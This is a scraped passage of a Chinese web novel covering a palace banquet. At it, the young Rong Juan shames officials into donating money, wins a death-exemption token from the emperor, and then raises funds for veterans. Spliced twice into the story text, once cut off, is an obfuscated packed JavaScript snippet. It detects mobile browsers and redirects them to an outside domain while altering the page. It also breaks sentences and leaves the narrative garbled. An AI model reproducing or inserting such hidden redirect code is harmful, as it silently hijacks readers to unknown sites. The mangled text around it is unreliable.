貂皮披顶,轿顶镶金带银,那日马车从相府出来后,容倦又给它二次精心整容了一番。 车子行驶到宫外,最后一段路程只能步行,容倦慢悠悠下来,朝着目的地而去。 巍峨宝殿中,官员分阶而坐,长桌上摆满琼浆玉露水晶盘,异常奢靡。 容倦来的一刻,在座那些互相说着奉承话的官员全部静了一瞬。 他年级尚小且未着官服,和整个场面格格不入。 “好像是容相家的那个,奇怪,怎么会……” 官员没说完心中便有了答案,守卫没有阻拦,只能是陛下的旨意。 圣上为什么会准一个京城有名的纨绔进入皇宫?要知道对方最近可是闹出了不少事。 大家不禁朝容承林看去。 这位平日里高高在上的右相上午才抵京,四十出头的年纪,朝服搭配官帽,脚踏黑皮靴,好不威风。 如今他周边主要坐着一干以自己为首的文官集团。 一双凤目凝视容倦,容承林声音不重,却很有压迫力:“逆子,还不过来。” 府中快马加鞭送信时,他还想着家书抵万金。 谁知全是烽火。 丞相夫人显然知道自己夫君最重视什么,尽量弱化中毒一事,详细说明容倦当街认贼作父,还搬空了小半府邸当投名状。 看完内容,向来不喜怒于色的容承林面容一直阴沉到现在。 面对容承林的责问,对面忽传来一道不疾不徐的声音。 大督办语气如常:“右相此言差矣,陛下亲言这是贵子。右相该说贵子,还不过来。” 靠! 容倦差点没被空气呛住,朝廷官员吵架这么不忌口的吗? 趁着这言语交锋间,他及时走向第三方,十五点方向的谢晏昼。 附近官员看他走动的方向,顿时露出一副看好戏的模样。 系统:【等等,小容,我突然发现,如果你早点到,不就不用经历选位置的尴尬吗?!】 甚至可以选在犄角旮旯,不引人注目的地方。 宫宴提前一刻钟来,都算是踩点,除了皇帝,容倦是今天最后到的。 “我才懒得那么早出门。”提前打卡的事情他不干,谁爱干谁干。 【……】 戏谑,嘲讽,怒意,各式各样的注视下,容倦脚步迈得很缓慢,不知情的还以为他是怕被谢晏昼直接扔走。 至于谢晏昼是什么想法,就不得而知了,反正浑身散发着生人勿近的气场。 心中估算着时间,容倦安稳迈完最后一步,和那双冷眸四目相对的顺间,太监又尖又细的嗓音拉起—— “陛下驾到。” 完美卡点! 下一秒,谢晏昼目睹原本站在面前的少年,泥鳅似的滑到了自己旁边。 真男人该快时就得快,容倦行动如风,甚至他转身时因为惯性,不伦不类地和大家一起完成了行礼动作。 人多,容倦一秒钟八百个动作,飞速抬眼扫了下新登场的人物。 这位大梁国现在的皇帝和大督办一样,同样是高颧骨,大约因为日子过得不错,有肉包裹,又有脸型加持,总体显得挺亲善。 只是头顶的镀金冠,莫名在眉目间加强精光,透出一丝刻薄。 皇帝身边跟着皇后和一干受宠妃嫔。 当看到众皇子们时,容倦实打实感觉到诧异。 “龙生九子,各有不同。” 系统就直接多了:【卧槽!皇子们怎么没一个和皇帝长得像的,是亲生的吗?】 刚刚容倦说话的声音小,也就旁边谢晏昼听到了。 他发现这人时不时就会说出几句惊世之语,“几位皇子全部是由宗室过继,你若是不想活了,可以再说一遍。” 容倦诧异。 原来都不是龙下的蛋。 很快他就发现另一件令人吃惊的事情,谢晏昼话不好听,却算是隐晦提醒了自己别乱说话。 太阳从西边出来了,他居然会这么好心。 那副困惑的模样落在谢晏昼眼中,冷笑一声。 其实他正保持同样的疑问。 薛韧确认汤药无毒,其中有几味药材甚至对恢复伤势大有裨益。 知道自己受伤了,不借题做文章,反而私下送药。 谢晏昼头一次完全无法从另外一人的行动轨迹中,推测出丝毫端倪。 “众卿平身。” 皇帝已经高居主位坐下,文武百官才跟着坐下,所有人心思全在帝王的一言一行上。 唯有同桌异梦的两人,同时多思对方的目的。 他究竟哪里想不开? 为什么要帮我? 注视着臣子们恭敬的样子,皇帝满足开口,先看向下座容承林:“爱卿辛苦了,此行不但治理水患有功,还搜集到定王意图谋反的罪证,实乃大功一件。” 提起定王的时候,皇帝一脸怒容,斥责其狼子野心,继而再度肯定容承林的功绩,一来二去容倦终于搞清了来龙去脉。 便宜爹在成为丞相前,便曾靠着治理水患博得不小的功绩,这次定州遇灾,连续派去几个官员赈灾都不得力,百姓怨声载道,便宜爹主动请缨,前往治理。 听完全程他轻嗤一声。 仅仅小半个月时间,查谋反治水患最后全身而退,可真给便宜爹厉害坏了。 能这么快找到证据肯定早就做了准备。 恐怕真实情况是故意派几个官员不作为,悄悄摸清当地情况,再名正言顺送右相过去,从而不引起亲王疑心,一查到底。 只是可怜当地民众,在朝廷的拖字诀下,不知无辜死伤了多少人。 封建时代害死人啊。 同桌的谢晏昼看了眼高座之人,目中冷意稍纵即逝。 “来,给容相赐酒。”大赞完容承林,皇帝又开始表彰谢晏昼的功绩。 “爱卿打退边境蛮夷,同样算是大功一件。”边说喟叹道:“虎父无犬子,相信你父亲在天之灵也定会欣慰。” 一句同样算是,仿佛还没有前一件重要,无形之中抹杀了不少军士功绩。 谢晏昼此刻倒是看不出一丝不满,起身道:“臣必不负圣上期望。” 坐下时,他唇角甚至勾着笑。 那天生细窄的瞳孔下,只有近处的容倦瞧清了内里恐怖的霾色。 “好。”皇帝十分欣慰,“今日全当是家宴,不必拘礼。” 目睹皇帝打一棒子给一颗枣,以容承林为主的文人集团露出满意的笑容。 太监总管适时看向乐师方向,靡靡的丝竹之音和石柱上的金龙一般,重新环绕在殿内。 自古宴无好宴,总有人想着搞事。 容倦鼓腮刚吃饱些,突然一位官员像是撑着了一般,站起来大放厥词。 该官员痛哭国库空虚民不聊生,表示当年如果将贫瘠的莲据城让给乌戎,完全可休养生息十年,用于富国强兵,再一举夺回。 “如今连年天灾,多地百姓食不果腹,还要用以供养军队!” 容倦差点被噎住,外地百姓快饿死了,但京城里大家都快吃成猪了,就看这满桌玉盘珍羞,哪一个不是抵万钱。 这演的,不知道在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她这傻女儿,被当做弃子却浑然不知。 刚还在吵的臣子们全都偃旗息鼓,一个个都是人精,立马看出皇室有结亲的心思。 宫人一步步走近。 这个时代就已经有打瓜子了,在皇室也很流行。容倦偷磕着瓜子,眼睛亮晶晶的……活像仓鼠看戏。 磕磕磕。 从阶梯下来要走不少步,容倦磕得嗓子都痒了,宫人才走到近处:“此物乃公主亲自绘制,贺将军战无不胜攻无不克。” 公主的礼物很特别,是亲手绘制的一副画卷,画中女子戴面纱手中持剑,面容身形都和自身相似,俨然是剑舞图。 用这种形式献舞,大胆也不算失礼。 可惜谢晏昼明显对做这尊贵的驸马爷完全不感兴趣,只说了句多谢,便没有后文。 公主的失望之情溢于言表,皇帝那双似乎亲善的眼睛,笑意逐渐消散。 当前朝廷上下对是否要乘胜追击反攻持不同意见。 皇帝更偏向保持现状,若能举办婚事便要合八字挑吉日,还有一系列的准备工作,少则二月多则半年,期间谢晏昼就得留京,无法率兵。 仅仅舍了一个女儿,就能避免外面说他怯战,还可名正言顺拖住谢晏昼,很合算。 谁知对方居然不上道。 皇帝一挂脸,大臣们瞬间紧张了起来。 见谢晏昼依旧没有同意的意思,皇帝忽而抬手似无意推到了果盘,喜怒无常的性子,真正让人见识到了什么叫伴君如伴虎。 天子一怒,谢晏昼只是象征性做出请罪的姿态。 殿内灯光通明,落在他眉宇间,一半光明,一半阴影。 眼见他要被责难,不同派系的官员心中暗喜,文官们看向右相,却没在对方眼中看到几分喜色。 容承林静静注视谢晏昼的方向,明白如此淡定怕还有后手。 今天的宫宴比朝堂还要暗流涌动,所有人心下藏着算计迫不及待就要各自施展。 但有时就是这般奇妙,天算人算不抵不过命运一个不经意的振翅。 旁侧一名小太监被现场气氛吓到,将本就被帝王推倒在面前的果盘,碰到了地上。 寂静的大殿中,东西砸在地上,发出一系列让人心惊肉跳的碎裂滚动声。 气头上的皇帝当正找不到发泄点,语气一沉:“这点小事都做不好。拉出去……” “陛下。” 一道意想不到的清瘦身影忽然站了起来。 别说那些臣子一个个瞪大了眼,就连小太监都不可置信地望过来。 公然打断皇帝的话,疯了吗? 6.响应 容倦尾音拖得略长,方便他慢悠悠站起来。 殿内人都觉得他疯了的时候,只有谢晏昼不那么惊讶,因为在容倦行动时,已经提前告知过。 “我帮将军解围,若成功,将军欠我一个人情,如何?” 谁在说话?当时谢晏昼确定声音在附近,却不见人影,声音很低,且只有两个人能听见。 容倦二度摸了摸肚子,一切尽在不言中。 腹语。 “……” 不知道是相信谢晏昼为人,还是另有想法,在皇帝下达处死宫人的命令前,谢晏昼尚未回应,容倦已经站起来。 他稍微遮掩了下那副懒散的模样。 “禀陛下,晚生久仰将军威名,也准备了礼物。” 身份就摆在那里,作为和谢晏昼极度不对付的相爷之子,大庭广众下送礼,大家第一反应是右相安排,但观右相表情,似乎不怎么好。 他成功吊起了所有人的好奇心,包括皇帝。 被打断说话的不悦,在掺了十足的好奇后,皇帝也是准备听完了再治罪。 有官员趁机私下朝谢晏昼投去目光,询问是否要按照原计划进行,后者稍稍摆了下手,示意先不要出头。 他倒想看看这人会如何做。 “晚生身体不好,此前搜集了不少天材地宝,其中的一株血莲价值百金。” 刚开始看戏的官员们,闻言表情略微不对劲。 那是你搜集的天材地宝吗? 分明是右相的。 容倦从相府拉了几十车宝贝一事,早就传遍大街小巷,右相位高权重,给他送礼者不计其数。 当朝肆意收礼之风盛行,陛下都睁一只眼闭一只眼,这小子不知道是不是得了失心疯,大庭广众之下拿出来说。 谁知容倦几乎是瞬间变了副面孔,连语气都跟着转变。 只见他一步走出,神容悲怆:“……原本觉得是天经地义之事,直至先前见有大人为国库空虚落泪,晚生十分懊悔,平日怎能如此铺张浪费?” 容倦深吸一口气,像是下了极大的决心:“是以,晚生准备将这些身外之物,用来救命的药材全部捐给在战场受伤的士卒们。” “一条命需要万金来治,不如拿来救万命!” 说罢,他为大爱转身,面朝着容承林为首的文官集团:“各位大人,我说的对吗?” 转过来干什么?转过去啊。 大臣们有种不祥的预感,又不能说不对。 无人接话,容倦微笑对一位前排官员做出请的姿势—— 你说。 官员憋出一句:“天下兴亡匹夫有责,此乃高风亮节。” 容倦又看向附近另外一人,胳膊抬起—— 你来说。 被点到的官员敷衍点头。 见铺垫的差不多了,容倦激荡道出结语:“国富时民跟着富,朝廷缺钱时,民为何不能反哺?只要人人都献出一点爱,国库将成为丰盈的国库。” 立了个捐献标杆,再扣高帽,最后呼吁号召捐款,整个过程一气呵成。 皇帝那紧锁的眉头,短短几个呼吸间,开始平铺。 半晌,他的怒意如潮水般消散,要将容倦治罪的想法也随之丢到一旁。 百官们难看的脸色中,皇帝哈哈大笑:“好,好,好。” 一连说了三个好,可见是真的心情大好。 “难为你年纪轻轻,有如此想法。” 皇帝能不高兴吗? 不但愿意自掏腰包捐钱,还喊其他人一起捐,作为受益者,他怎能不乐见其成? 朝廷贪污腐败之风近些年愈发严重,臣子们一个个肥了,确实该反哺一二了。 容倦谦逊道:“大人们其实都有此高义,否则也说不出天下兴亡匹夫有责,晚生只是点明大家心声。” 匹夫有责四个字,被重点念了下。 皇帝颔首,赞同道:“这倒也是。” 最先认领责任的官员快被同僚们的视线射成筛子,可惜已经被高高架起。 在陛下和蔼的目光望过来时,他只能硬着头皮上前:“陛下,臣愿将过去三年俸禄全部捐出,臣家中还有些古董字画,回头愿一并置换。” 钱财来路不正,偏偏容倦立了标,又不好随便捐点。 最后只能含蓄表达,我也不会少捐,古董这些东西还是很值钱的,届时拿出个几千金,也很正常,你们可不要多想。 有了开头,其他官员纷纷站出来响应。 只有谢晏昼没有。 军饷告急,某种意义上说,他是被捐赠人。 “真是太令人感动了。”容倦用宽大袖袍佯装抹泪,“谢将军,你感动吗?” 眼瞧着日常敛财的大臣们痛心疾首,谢晏昼唇畔有了一丝罕见的笑意,竟然配合道:“挺感动的。” 文武百官:“……” 你们两个都闭嘴吧。 皇帝脾气显然也不是任由谁拿捏的,解决一桩大事过后,俯视着容倦,故意道:“容爱卿教子有方,你年纪轻轻却有仁心,朕要重重加赏。可有什么想要的?” 都国库相当吃紧了,正常人也该说不索取。 谁知容倦偏偏不按常理出牌,躬身道:“晚生确有一求。” “难得你如此深明大义……”皇帝语气一顿,“你说什么?” “正如晚生所说,万金换一命,不如一命救万命,捐献财帛是应尽职责。只是希望陛下看在小子父亲此行平叛治水有功,能赐晚生一块免死金牌。” 殿内瞬间收音。 继相府后,容倦狮子大开口开到了皇家面前。 免死金牌,那可是只有大功德才能颁发的。 当然也有例外,比如安抚臣子拉拢外戚时,也会赐那么一两块,平均下来近十年才能发那么一次。 嫔妃伴驾帝王,见皇帝表情不明,阶梯下的少年郎还在大放厥词,险些花容失色。 容倦缓缓道:“多日前,晚生遭陷害下过一次大狱,险些被问罪,自那后寝食难安,担心再次被人陷害。想着若能有免死金牌,也好震慑一些宵小。” 总之,就是不断叠buff,顺便将亲爹的功劳也揽给自己。 每一句话都远远出乎人的意料之外,大部分官员还发怔时,一些极聪明的人却回过味来。 一直看不起容倦的苏太傅下意识先望向大督办,以为是对方安排一切,谁知在后者眼中看到淡淡的赞赏,显然并未提前设计。 莫非竟是他自己想出来的? 苏太傅为这个想法感到心惊。 此举实在是高,容家子的事情早就不是秘密,重臣消息灵通,都知道他身中奇毒不是长寿之人。 听说督办司已经查明真相,连调戏民女现在都存疑,薛韧医术无双,亲口认证容家子……不举。 本朝免死金牌仅限于本人及其直系后代,兄弟姐妹父母亲友通通享用不上,容家子一死,恩赐也就废了。 但并非所有人都知他命不久矣,外界只会觉得天恩浩荡,尤其是那些想要博得皇室好感的商贾。 可想而知,一旦这个消息传出,他们必然会争先恐后响应捐款。 这个奖励简直要到了皇帝心坎上! “可惜他寿数无多,不然如此聪慧,能联姻也是好事。”苏太傅倒是头一回有些遗憾两家婚事作罢。 皇帝显然也想到了这点。 眼看容倦比想象中还要上道,皇帝这次实打实的开怀,彻底忘了被打断话的不虞。 不用实际付出什么,还能省下给右相此行的赏赐。 毕竟对方先前开口就是‘希望陛下看在小子父亲此行平叛治水有功’,赏子就等于赏了父。 于是直接允了他的要求不说,还分外大方:“百胥今年上贡了一枚极品夜明珠,难得你有此心,朕便将此珠赐予你,需谨记不可让明珠蒙尘,时刻恪守照亮他人之心。” 被迫捐款的臣子纷纷起身,高呼:“圣上英明。” 低头间咬牙切齿,一个个内心都快要滴血,照亮别人赐什么价值高昂的夜明珠? 送蜡烛啊! 合着只有他们在净支出。 君臣心照不宣地开始同乐,宴会气氛轻松下来。 容倦能感觉到不少人的视线正时不时望着这边,包括便宜爹的目光也几次有意无意扫过自己。 对此他一律无视,只在乎餐后小甜点。 贪凉试图伸向冰酪的手被轻轻挡住,旁座传来一道冷冽的声音:“谁授意的你?” 谢晏昼凌厉的视线下,任何谎言仿佛都会无所遁形。 “无人指使。” 官员们已经互相在举杯,酒味熏到容倦在这里,目睹靡靡的官场氛围悠悠道:“边关不稳则社稷不安,我还想安稳活几年。” 此前容倦便想确认,外部危机到底到了哪一步。 没想到居然有大臣生出了割地的想法,还敢堂而皇之在御前哭诉道出,皇帝也没有直接斥责。 他不得不考虑最坏的一种可能,改朝换代不是因为篡位,而是直接被入侵推翻。 在还讲究族别划分对立的时代,一旦外族入关,贵族们的下场比死还 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反正那些药材容倦自己用不上,当日是打着做药引的幌子取走,卖又不可能卖。 他们住的地方偏阴湿,一旦保管不当,这些天材地宝很容易全废了。 而且他说的是自己要捐药,关于金银珠宝是一个字都没提,光号召别人去了。 容倦脚步虚浮,让系统别吵。 他的精力如今受限于这幅身躯,稍微一点酒就晕头转向,现在只想赶紧回去洗洗睡了。 奈何视野范围内,模糊地看见远处容承林正在几名官员围绕下朝自己走来。 “烦。”容倦不耐烦地咬到了下唇瓣。 三纲五常,不能明着怼,见面了少不得说话纠缠。 近处北侧,朱红宫门下,谢晏昼正要上马车,看到容倦强撑着掀起眼皮咕哝抱怨的样子,掀帘的动作一缓。 今日宫宴种种,终归于军队有利。 几乎是右相快要靠近的一刻,一只大手先伸了过来,带着薄茧的掌心力道很稳,容倦体重较同龄人偏轻,在被攥住胳膊的一瞬,轻易便被拉上车架。 “你……”险些栽倒在陌生的怀里,容倦桃花眼都睁圆了。 车帘落下,马夫从军队退役下来,收到谢晏昼的暗示,迅速拉动缰绳,马车很快驶入了无边夜色。 后方容承林晚了一步,看着渐渐远去的车子,拂袖冷笑。 一众官员不好多议论他的家事,有些尴尬地陪站在一边。 车内,容倦抱着赏赐下来的夜明珠,最初的惊讶散得很快。 先前被那么一拽,他头更晕了:“你的车好凉快,不像我的披貂车……一点,一点都不透风。 语毕,头一歪真的睡着了。 谢晏昼没有说话。 居然还能没心没肺的睡着,也不怕被扔下去。 长街之上除了偶尔传来的打更声,只剩下车轱辘压过青石板砖的沉闷。 夜明珠自带的光亮反射在脸上,容倦那张醉颜,似乎又回到了宴会时在宫灯照亮下的样子。 谢晏昼余光稍微有些偏移,脑海中浮现出这人先前的陈词。 —我是真心希望将军和战士们长命百岁。 军队的重要性谁都懂,利益面前自古叛国者却从来不少。 面前这个众人口中的恶徒,先是偷偷给他下补药,随后又捐出可以续命的药材。 谢晏昼试图找到其中蕴含额外阴谋的可能性,却无所获。 今日这场宫宴,对方几乎得罪了大半个朝堂,容承林就算患了脑疾,也不会有这么大的魄力以此为代价做谋划。 府邸口,容倦被强行叫醒。 他风中小白花似的摇曳身躯,醉醺醺说:“将军,把我的那些宝箱都搬去你那里吧。” “不必。”谢晏昼淡淡道。 容倦昏昏欲睡:“那怎么能行?” 他可是亲口说过要捐药给士卒,回头忘了那就是欺君之罪。 伸爪重重拍在宽肩上,容倦抽下腰带,慷慨解囊:“别不好意思,搬就行了。” 谢晏昼垂眼望着衣衫不整,不知所云的醉鬼:“你的房间也是我的房间。” 系统:【卧槽,流氓!】 容倦只眨巴了一下眼睛,就给谢晏昼平反了,因为他忽然想起来自己现在住在人家府邸的事情。 “哈哈哈……将军记忆力真好,我早都给忘了。” 真是太厉害了! “……” 7.大人 翌日又是一个艳阳天。 和这天气一样热烈的是皇城百姓们的讨论,宵禁制度后,为了多赚点钱,每天时间一到,摊贩们便争先恐后出现。 太阳还有许久才会从云朵中出来,街道上已经提前充满了烟火气。 国库需要捐款,昨夜宴会上的事情被默许传颂开,成为了今天热议的话题。 其中大部分都是事实,只有些许存在偏差。 比如皇室需要一个代言人,为了彰显天恩浩荡,现在的版本中,容倦索要免死金牌变成了皇帝主动赐予。 得知他要将续命的药材全部捐出去,百姓那叫一个震惊。 “话说督办司也查明了杀人案的真相,死者是意外猝死。” “非也,听说在死者家地底,还挖出了大量银钱。” “嘶,那这钱肯定见不得光。” “废话!都说了藏地底了。” “相府小公子被证实中毒不举,什么调戏民女,我看分明是被做局设计了啊。指不定死者才是被收买的加害者。” 大家好像全部忘记了容倦过往的劣迹,而热衷讨论政治阴谋,探讨过程中,仿佛他们自身层次也跟着拔高了。 “容公子好人有好报啊,以前对他多有误解。” “可惜死无对证,督办司已经结案,可怜了这位小公子。” “幕后指使是谁那还用说嘛?”其中一个画贩子露出懂得都懂的眼神。 大家不敢明说,心知肚明这件事和右相夫人脱不开干系。 除此之外,实在很难想到还有第三人能做到常年下慢性毒药,既然毒药都下了,买凶杀人就更正常不过了。 高门大户,家家都有本地府的经。 相府,本来前些天的谣言就不好听,但好在压一压还能下去。 当听到现在已经疯传自己德行有亏,买凶杀人的时候,郑婉只觉得眼前一黑,旁边的嬷嬷及时扶住她,紧张叫道:“夫人!” 脂粉也遮不住眼下的疲态,头上珠翠跟着主人重重一晃。 “怪我大意了。” 从前她一直千方百计阻挠右相纳妾,府中只有地位更卑微的侍妾,以至于一出事,所有人都只能想到自己。 早知道以前就该抬一位妾室,关键时候用来挡刀。 “您不用太心急。”嬷嬷表示已经让一位侍妾畏罪自杀,留下遗书,理由也给得挺充分,从前怀孕时被年幼的少爷推搡致流产。 这可不是胡编乱造,当年虽有郑婉算计挑拨,但人确实是小少爷亲手推的。 “只是在老爷面前,您一定要镇定。” 昨晚回来后,右相心情明显不好,一晚上都在书房。 郑婉比谁都了解自己的青梅竹马,闻言轻声道:“此事关乎相府颜面,不管他信不信,都不会细查。” 夫君城府太深,只有儿子才是她未来的依靠。 郑婉目中重新涌出期待:“外面有没有关于燧儿的讨论?” 此次容恒燧随父外出,就是为了入仕做准备。 当今圣上有些忌讳父子同朝,为了能被重用,便一直隐忍着没有立刻参加科举,就是在等一个机会。 容恒燧此人,完美继承了他父亲薄情寡恩,对自己也舍得下狠手。 他选择采纳门客献上的计策,不惜在定城时故意暴露身份挨了叛军一刀。 就等着事后父亲一脉的官员借此在圣上面前美言几句,他自然能入天子的眼。 想法很好,其为保护证据受伤一事也的确被写进了奏折,按照正常轨迹,皇帝肯定要关怀两句,降下赏赐。 但全家的功劳昨天被容倦领完了。 现在皇上所有心思全部放在捐款一事上,横竖亲王被擒,谋反一事无疾而终,同样刻薄寡恩的天子早就将一个臣子的儿子忘记到犄角旮旯。 至于平民百姓们,比起那点功德,更喜欢探讨丞相府的腌臜事。 看到嬷嬷欲言又止的表情,郑婉已经猜出了大概:“混账!” 这些天积攒的郁气彻底爆发,她一时间心口绞痛,彻底昏死了过去。 嬷嬷大惊失色:“快!叫大夫。” 府中一时上下慌乱了起来,正在床上休养伤口的容恒燧听到动静,被扶着走出,“出了何事……母亲!” · 相府乱作一团,有的人还没起床。 晨间日光暖呼呼的,零碎洒在床榻上。此地偏阴,外有大量绿植,夏日里也凉快。 “口口,帮我对个十分钟后的闹铃。” 免死金牌实为丹书铁券,需要经过取出登记等一些列繁琐流程,才能正式颁发。 待礼部登记在册,宫人会亲自送来。 这意味着容倦今早要接个旨。 他本就有赖床的美德,此刻抱着轻盈的天丝被睡姿豪放,裤腿都卷蹭到了膝盖上,也不愿松手。 【好zZZ…】 十分钟后,双方同时被脑内铃音震晕了。 “头好晕,口口,五分钟后叫我。” 五分钟足够他起床收拾了。 【嗯zZZ…】 再睡几分钟是人类史上最大的谎言,结果毫无意外,传旨公公来的时候,容倦湿布抹面中奔走。 看到他蓬着头面颊还在滴水,公公脸色瞬间黑了。 容倦先发制人道:“今早没有喝药,提不起劲来,实在羞愧。” 他本就清瘦,随便摇摇一晃,便给人感觉已是膏肓。 原本暗中有几分不满的公公一听,顿时起了怜悯之意。 宣完圣上之意,双方又相互说了几句客套话,宣旨太监对他的不满彻底烟消云散。那种对话间莫名的平等感,以至于对方没有塞点赏钱,公公也没太在意。 容倦接下那壮如圆筒瓦形的丹书铁券,象征性地目送了公公一下。 一回头。 咕—— 一只高速鹦鹉冲脑门疾驰而来。 刺客!容倦睁大了眼,下一秒眼前多出一道黑影。 在被恶鸟扑脸前,那只莽撞的鹦鹉先一步被黑影精准直接地抓住了翅膀,在半空中哇哇叫唤。 “咕咕咕,咕咕。” 容倦心有余悸,看着这挣扎的鹦鹉,第一次由衷道:“多谢救脸之恩。” 当看清了是谁后,愣住:“谢将军?” 谢晏昼提着补药喝多了,像是打了鸡血一样的鹦鹉,没什么表情地看着他。 容倦纳闷摸摸鼻尖。 先前三米内肯定是没人的,能这么快出现,想必是用了轻功。 想到这里,他挑了挑眉,连带着原谅了鹦鹉的横冲直撞。便宜爹的政敌主动出手相救,说明已经对自己大有改观。 这个结果是容倦想要的。 只要不是外族入侵,无论谁当皇帝,依照谢晏昼的兵力和军事才能,都是能走到最后决赛圈的。 更何况自己对大督办来说是塑料义子,谢晏昼可是人家真的义子啊。 综合下来,这关系也能回馈到自己身上。 谢晏昼语带嘲意:“看来你还是没长记性。” 面对面都能走神,难怪走路都能被一只畜生袭击到。 容倦终于注意到肇事者。 “双开门鹦鹉?” 管家急匆匆过来送鸟笼,鹦鹉嫌弃笼子太小,死活不肯塞进去。 它鹦鹉双爪勾住横杆,翅膀内合,胸脯显得格外壮硕,乍一看,颇有X漫中双开门的诡异雄壮。 听不懂容倦在说什么,但谢晏昼领悟了他的意思,这鹦鹉确实肥的不像话,而且不是纯肥,肥出了一种精壮感,要不也不会能轻易开笼门跑出来。 身为男儿,容倦骨子里还是高大勇猛的梦想,忙问:“这鹦鹉平时吃什么,我可以改良一下配方。” 回头让系统研究一下,自己也要长成双开门。 谢晏昼日常冷着的一张脸,第一次闻言面色有些微妙。 容倦突然仔细地上上下下看谢晏昼。 他又把主意打到了将军府的伙食上,肯定是吃得妙,不然谢晏昼能长这么高? 反正在这件事上,容倦从来不信身高基因定,何况容承林也挺高的,没理由他就矮了。 “府中人每天多做几次饭也挺麻烦,不如以后我和将军一起用餐?争取死前长到一米八。” 一个年轻好看的人,在生机勃勃的夏日里笑着谈论自身生死。 谢晏昼皱了下眉:“听说相府里的公子都早早启蒙,连基本的避谶都不懂吗?” 他在军中太久,说话一贯冷硬,再看容倦一脸无辜似乎吓到了,终是稍缓了语气,但言语依旧如刀锋利。 “你能起得来?” 好现实的问题。 长高的执念下,容倦决定努力一把:“那我每日再多睡半个时辰,刚好赶上你的午饭。” “……” · 容倦承诺过的事情一定会做到,第二天他真的成功赶上了谢晏昼的午饭。 不知道是不是自作多情,宫宴过后,包括谢晏昼在内,整个将军府好像都对他友好了很多。 譬如餐食,除了最开始的那一餐以荤辣为主,之后都是清淡和荤辣一式二份,同时照顾到了他和谢晏昼的口味。 容倦:“鸳鸯饭。” 旁边的丫鬟红了脸,谢晏昼斥责:“胡说八道什么?” 容倦纳闷:“这种吃法不就和鸳鸯锅一样?” “……” 光是吃饱喝足的人生是空虚的,活着还要有精神文明。 饭后,容倦干起了文抄公的活儿,他抄了一首曲子,打听后把以前怂恿过原身作恶的狗友们叫起来聚在酒楼。 自从容倦名声好了,心底嫉妒的狗友们以为他终于改正归邪,不料却是听戏。 改编版的《爱的奉献》一响,说书人适时讲起牺牲士卒们的故事,容倦梅开二度号召捐款。 主打一个我都捐了,别人也不能落下。 起初捐的不多,但他脸皮厚啊,干过一次这样的事情不说,再一再二还再三。 这些纨绔的家中长辈还让他们来,想要尝试从容倦身上旁强侧击一下将军府的情况。 一来二去,容倦盆满钵满。 他自己懒得分,带着私下募捐来的银钱乘轿去往督办司。 皇城中,只有一处常年没有人气,督办司作为缜密庞大被彻底妖魔化的办事机构,寻常根本不会有人主动来。 薛韧正一身青衫戴着自制薄羊皮手套,血迹斑斑,门口守卫微微别开眼。 这位除了验尸,还极擅刑讯。 司内出了叛徒,薛韧刚去审理完,衣襟上沾着腥臭的黑血,哪还有那日兼职仵作时的文质彬彬。 旁人畏惧的眼神,他早习以为常,直到一阵欢乐的歌声突然飘了过来。 “我在马路边,捡到两万两,把它交给薛韧叔叔手里面~嘿,薛仵作!” 叔叔?! 薛韧脸垮了一下,当他用一脸阴毒的神态看过去时,轿子堪堪落到自己面前。 容倦一步都懒得走,递出来一沓银票,微笑唱:“叔叔拿着钱,可否平均分,拿去给京中老兵们,叔叔再见。” 车帘一合,轿子重新被抬起,不同容倦,轿夫们真情实感害怕薛韧,一溜风地就不见了。 真正来去如风。 快得让人觉得梦幻,都不确定是否有人来过。 门口守卫张了张嘴,好半晌回过神。 守卫实在没忍住,大着胆子问:“大人,您真要帮他去分?” 薛韧甩开颅内魔性的歌曲旋律,露出白到森冷的牙齿:“他一个小子,能指挥了我?” 守卫费解地望向他手中的银票。 “蠢货,你看到有人递钱会不接?” “……” “那大人,要甩回去治他行贿罪吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349783|183225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>薛韧冷冷瞧他一眼:“就你这脑子,还想替别人说情?” 行贿搞不好还会牵扯到自己,摆明了想让他轻拿轻放。 守卫讪讪一笑。 朝廷的抚恤金已经欠发了两年,有人愿意填窟窿当然好。 看着这厚厚的银票,薛韧头疼道:“罢了,叫个管账的来,先全部换零,再去按名册均分。” 守卫看着薛韧戴着那双血迹斑斑的皮手套先点钱计数,想起对方坊间‘人皮鬼’的恶名,想了想还是说了句:“这小公子人不坏。” 至于外面的传言,他们督办司的传言也没好过。 薛韧倒是没有否认这句话,笑骂道:“那小子鸡贼着呢。” 不但精明,还懒。 算准了依照督办司和将军府的关系,自己不敢贪墨,过来找免费跑腿的。 至于原因……容相正在气头上,想来这位还要借住在将军府一段时间。 吃人嘴软拿人手短,宫宴捐了药,现在又捐了钱,谢晏昼听到恐怕也不好再难为他。 不过—— 薛韧:“这药和钱是他的吗?” 钱上沾着浓重的脂粉香,应该是经常流连风月场所人携带的,容恒崧强抢民女的事迹听了不少,但还真没谁听过他上青楼。 另一边,容倦正被街边馄饨的香味吸引,抽空吃了个路边摊。 旁边赌庄刚好走出来一位官二代,一看到这张欠扁的脸,忍不住撸起袖子。 面对他气势汹汹,容倦放下筷子,哼起哄孩子的《爱的奉献》。 官二代撸起袖子的手下意识伸进腰包,等反应过来时,险些给了自己一巴掌。 他老父母的!现在一听到这曲,就感觉要捐款了。 再一抬头,他发现容倦已经不见了,怒吼:“人呢?” 人已经走出了半里地。 轿夫抬得很稳,容倦吃饱喝足,摸了摸有点鼓起的海豚肚:“舒服了。” 系统弹出来:【为什么是海豚肚?】 “因为我拥有海豚般美妙的歌声。” 【……】对他们来说,你是引诱船夫跳海的海妖吧。 容倦装没听见。 原身的悲剧在于相府纵容溺杀,恶友添柴加火,如今稍稍回敬一二,也算是结了一段借尸还魂的因果。 无事一身轻。 